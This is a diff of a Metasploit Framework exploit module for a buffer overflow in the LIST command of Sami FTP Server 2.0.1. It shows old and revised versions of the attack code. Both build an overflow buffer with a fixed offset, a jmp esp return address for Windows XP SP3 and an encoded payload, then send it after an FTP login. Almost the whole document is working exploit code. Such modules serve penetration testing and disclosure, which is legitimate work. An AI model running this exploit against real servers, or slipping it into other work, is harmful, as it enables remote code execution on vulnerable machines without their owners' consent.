|
1 | 1 | ##
|
2 | 2 | # This file is part of the Metasploit Framework and may be subject to
|
3 | 3 | # redistribution and commercial restrictions. Please see the Metasploit
|
4 |
| -# web site for more information on licensing and terms of use. |
5 |
| -# http://metasploit.com/ |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
6 | 6 | ##
|
7 | 7 |
|
8 | 8 | require 'msf/core'
|
9 | 9 |
|
10 | 10 | class Metasploit4 < Msf::Exploit::Remote
|
11 |
| - Rank = NormalRanking |
| 11 | + Rank = AverageRanking |
12 | 12 |
|
13 |
| - include Msf::Exploit::Remote::Tcp |
14 |
| - #include Msf::Exploit::Remote::Seh |
| 13 | + include Msf::Exploit::Remote::Ftp |
15 | 14 |
|
16 | 15 | def initialize(info = {})
|
17 | 16 | super(update_info(info,
|
18 |
| - 'Name' => 'KarjaSoft Sami FTP Server LIST Overflow', |
19 |
| - 'Description' => %q{ |
20 |
| - A buffer overflow is triggered when a long LIST command is sent to the |
21 |
| - server and the user views the Log tab. |
| 17 | + 'Name' => 'Sami FTP Server 2.0.1 LIST Command Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + A buffer overflow is triggered when a long LIST |
| 20 | + command is sent to the server and the user views the Log tab. |
22 | 21 | },
|
23 |
| - 'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ], |
24 |
| - 'License' => MSF_LICENSE, |
25 |
| - 'References' => |
| 22 | + 'Platform' => 'Windows', |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'superkojiman', # Original exploit |
| 26 | + 'Doug Prostko <dougtko[at]gmail.com>' # MSF module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
26 | 30 | [
|
27 | 31 | [ 'OSVDB', '90815'],
|
28 | 32 | [ 'EDB', '24557'],
|
29 |
| - [ 'URL', 'http://www.exploit-db.com/exploits/24557/'], |
30 | 33 | ],
|
31 | 34 | 'DefaultOptions' =>
|
32 | 35 | {
|
33 | 36 | 'EXITFUNC' => 'seh',
|
| 37 | + 'target' => 0 |
34 | 38 | },
|
35 |
| - 'Platform' => ['win'], |
36 |
| - 'Privileged' => false, |
37 |
| - 'Payload' => |
| 39 | + 'Privileged' => false, |
| 40 | + 'Payload' => |
38 | 41 | {
|
39 |
| - 'Space' => 950, |
40 |
| - 'BadChars' => "\x00\x0a\x0d\x20\xff", |
| 42 | + 'Space' => 900, |
| 43 | + 'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09", |
| 44 | + 'StackAdjustment' => -3500, |
41 | 45 | },
|
42 |
| - 'Targets' => |
| 46 | + 'Targets' => |
43 | 47 | [
|
44 |
| - [ 'Automatic Targeting', { 'Ret' => 0x10028283, 'auto' => true } ], # jmp esp |
| 48 | + [ |
| 49 | + 'Windows XP English SP3', |
| 50 | + { |
| 51 | + 'Platform' => 'win', |
| 52 | + 'Ret' => 0x10028283, |
| 53 | + 'Offset' => 219, |
| 54 | + }, |
| 55 | + ], |
45 | 56 | ],
|
46 | 57 | 'DisclosureDate' => 'Feb 27 2013'))
|
47 |
| - |
48 |
| - register_options( |
49 |
| - [ |
50 |
| - Opt::RPORT(21), |
51 |
| - OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]), |
52 |
| - OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ]) |
53 |
| - ], self.class) |
54 | 58 | end
|
55 | 59 |
|
56 | 60 | def exploit
|
57 | 61 | connect
|
58 | 62 |
|
59 |
| - buf = rand_text_alphanumeric(219) |
60 |
| - buf << [target.ret].pack("V") |
61 |
| - buf << make_nops(50) + payload.encoded |
62 |
| - sock.put("USER #{datastore['FTPUSER']}\r\n") |
63 |
| - sock.put("PASS #{datastore['FTPPASS']}\r\n") |
64 |
| - sleep 0.5 |
65 |
| - print_status("Sending evil LIST command") |
66 |
| - sock.put("LIST #{buf}\r\n") |
| 63 | + print_status("Trying target #{target.name}...") |
| 64 | + |
| 65 | + buf = rand_text_english(target['Offset'], payload_badchars) |
| 66 | + buf << [ target['Ret'] ].pack('V') |
| 67 | + buf << payload.encoded |
| 68 | + |
| 69 | + send_cmd( ['USER', datastore['FTPUSER']] , false ) |
| 70 | + send_cmd( ['PASS', datastore['FTPPASS']], false ) |
| 71 | + send_cmd( ['LIST', buf], false ) |
67 | 72 |
|
68 | 73 | handler
|
69 | 74 | disconnect
|
|
0 commit comments